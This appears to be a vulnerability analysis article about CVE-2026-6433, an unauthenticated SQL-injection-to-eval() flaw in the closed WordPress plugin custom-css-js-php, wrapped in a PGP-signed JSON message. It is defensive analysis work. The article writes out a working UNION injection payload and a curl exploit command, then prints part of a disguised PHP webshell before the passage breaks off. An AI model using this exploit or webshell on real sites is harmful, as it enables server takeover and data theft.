-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## WordPress.org's closure notice was the disclosure\n\nThe WordPress.org plugin page for `custom-css-js-php` carries one error banner above the description. The banner reads: \"This plugin has been closed as of February 11, 2021 and is not available for download. Reason: Security Issue.\" That is the full text. There is no link to an advisory, no CVE number, no description of the bug, no version range, no remediation guidance, no statement of whether the plugin is exploitable in default configurations. Users running the plugin on the day of the closure received the same notification as everyone else: none. The plugin remained installed on sites whose administrators were not in the habit of checking the WordPress.org listing for plugins they were already running. The automated update mechanism cannot push an update for a plugin that has no later version to push.\n\nThe plugin's authorship is credited to \"Flipper Code, WordPress Development Company.\" The vendor's profile shows four currently-published plugins and a fifth, this one, marked closed. The vendor did not publish a security advisory of their own. Their other plugins continued to ship updates. The closed plugin sat in the field.\n\nFive years and three months later, MITRE published [CVE-2026-6433](https://nvd.nist.gov/vuln/detail/CVE-2026-6433). The CVE description is one sentence: \"The Custom css-js-php WordPress plugin through 2.0.7 does not properly sanitize user input before using it in a SQL query, and the result is passed to eval(), allowing unauthenticated users to execute arbitrary PHP code on the server.\" NVD marked the record Deferred, which is NVD's term for \"we assigned this number, we are not going to analyze it.\" The Deferred status is operationally consistent: NVD does not enrich CVEs against products that no longer ship patches, because the enriched fields (vulnerable configuration, patched version range) would be empty. The references section of the CVE lists one URL. It is a WPScan database entry. There is no vendor advisory, no patched version, no fix commit. There never will be.\n\nThe defender's first early-warning signal on this bug was the WordPress.org plugin page in February 2021. The defender's first detailed signal was a CVE published in May 2026 with no actionable patch field. This is the [disclosure-after-exploitation](/patterns/disclosure-after-exploitation) pattern run at the long-tail end of the spectrum: the disclosure was a closure event, the closure was an unannotated administrative action, and the CVE that finally arrived was post-hoc documentation against a plugin that had no maintainer left.\n\n## The dispatcher's comment ends in a smiley face\n\nThe vulnerable surface is `wp-admin/admin-ajax.php`, reached through the action `fc_ajax_call`. The handler is registered for both authenticated and unauthenticated callers. From `core/class.plugin-lite.php`, line 218:\n\n```php\nadd_action( 'wp_ajax_fc_ajax_call', array( $this, 'fc_ajax_call' ) );\nadd_action( 'wp_ajax_nopriv_fc_ajax_call', array( $this, 'fc_ajax_call' ) );\n```\n\n`wp_ajax_nopriv_` is the WordPress export for unauthenticated AJAX. The same handler answers logged-in users and visitors with no session. The handler itself, at line 234:\n\n```php\nfunction fc_ajax_call() {\n\n //Check Security(Nonce) @ Operation Method Instead Of Here :)\n $operation = sanitize_text_field( wp_unslash( $_POST['operation'] ) );\n $value = wp_unslash( $_POST );\n if ( isset( $operation ) ) {\n $this->$operation($value);\n }\n exit;\n}\n```\n\nThe comment is testimony. The developer knew where the nonce check would have gone. They chose to put it somewhere else, \"at operation method instead of here,\" and they punctuated the decision with a smiley face. Below the comment, the code reads `$_POST['operation']`, sanitizes the string, and dispatches to whichever class method has that name: `$this->$operation($value)`. Variable-method dispatch on a string the unauthenticated caller controls. The caller picks the method. The method receives `$_POST` as its argument.\n\nTwo AJAX handlers ship in this plugin. The other one, `wcjp_ajax_call`, is defined in `custom-css-js-php.php` at line 285:\n\n```php\nfunction wcjp_ajax_call() {\n\n check_ajax_referer( 'wcjp-call-nonce', 'nonce' );\n $operation = sanitize_text_field( wp_unslash( $_POST['operation'] ) );\n ...\n```\n\n`check_ajax_referer` is the call the comment delegated. It exists in the codebase. The developer wrote it. They wrote it in one handler and not the other. The comment in `fc_ajax_call` is not testimony that the author did not know about nonces. It is testimony that they knew, they wrote the call elsewhere, and in this dispatcher they chose to delegate the check downstream. This is the [todo-that-shipped](/patterns/todo-that-shipped) pattern in its strict canonical form: the named control's only manifestation in this handler is the comment. The code below the comment operates without it.\n\n## The operation method the comment delegated to does not check the nonce either\n\nThe PoC's chosen operation is `wce_editor_inline_code`. The function is defined in `custom-css-js-php.php` at line 197:\n\n```php\npublic function wce_editor_inline_code($atts) {\n global $wpdb;\n\n if ( defined( 'DISABLE_WCE' ) ) {\n return false;\n }\n $id = $atts['id'];\n\n if ( ! $id ) {\n return false; }\n\n $row = $wpdb->get_row( 'SELECT * FROM '.WCJP_TBL_CODES.' WHERE id='. $id.' AND status = 1' );\n```\n\nThere is no `check_ajax_referer` in this function. There is no `current_user_can`. There is no nonce read at all. The function was written as a shortcode renderer, registered at line 61 via `add_shortcode( 'wce_code', array( $this, 'wce_editor_inline_code' ) )`, and was never intended to be reached through `fc_ajax_call`. The dispatcher made it reachable. Variable-method dispatch threw the door open to every public method on the class.\n\n`$id` is whatever the unauthenticated POST sent. The SQL is built by string concatenation. The PoC sends:\n\n```\nid=0 UNION SELECT 1,'t','php',{php_hex},'header','',0,1-- \n```\n\nThe trailing `-- ` (with the required trailing space) is the MySQL line-comment terminator. It severs the original query's `AND status = 1` clause. The UNION provides eight columns matching the eight columns of `WCJP_TBL_CODES`. Column three carries the literal string `'php'`. Column four carries the hex-encoded PHP body of the payload. Column eight carries `1`, satisfying any status constraint that survives the comment terminator.\n\nThe function continues:\n\n```php\n$script_source = trim( $row->data_source );\nob_start();\n\nswitch ( $row->data_type ) {\n ...\n case 'php' :\n eval( \"?>{$script_source}\" );\n break;\n```\n\n`$row->data_type` is `'php'`. The case branches to `eval()`. `$script_source` is the attacker's hex-decoded PHP. The `?>` prefix puts PHP in template-out mode so that anything outside `` tags renders as HTML output and anything inside the tags runs. There are no template constraints. The eval body is the entire PoC payload.\n\nThe full exploit primitive is one HTTP request:\n\n```bash\nPHP_HEX=$(printf '' | xxd -p | tr -d '\\n')\n\ncurl -sk \"https://target.example/wp-admin/admin-ajax.php\" \\\n --data-urlencode \"action=fc_ajax_call\" \\\n --data-urlencode \"operation=wce_editor_inline_code\" \\\n --data-urlencode \"id=0 UNION SELECT 1,'t','php',0x${PHP_HEX},'header','',0,1-- \"\n```\n\nNo nonce. No session. No prerequisite. The dispatcher's comment said the operation method would check the nonce. The operation method does not. The variable-method dispatch handed the attacker an unguarded path from the public internet to `eval()`.\n\n## The exploit landed on Saturday. The webshell landed sixty-five minutes later.\n\nThe full commit log on `murrez/CVE-2026-6433`, in UTC:\n\n| Commit | Time | Action |\n|--------|------|--------|\n| c386d3b | 2026-05-16 09:29:58 | Initial commit |\n| 859ef2d | 2026-05-16 09:30:30 | Update README.md |\n| 2c1477f | 2026-05-16 09:48:02 | Add files via upload |\n| dc6efdc | 2026-05-16 10:53:01 | Create as.txt |\n\nThe exploit script (`CVE-2026-6433.py`) entered the repository at 09:48:02. The fourth commit, sixty-five minutes later, added a file called `as.txt`. The full content of `as.txt` is sixteen lines of PHP wrapped in a magic-byte spoof at the top:\n\n```php\ngif89;a gif;ghz jpg;a\nOK-Click here!\";\n $auth_pass = \"f448c10cdca56b87dbf157d53f627500\";\n $color = \"#ddff55\";\n $default_use_ajax = true;\n $default_charset = 'Windows-1251';\n $default_action='Bruteforce';\n }\n}\necho '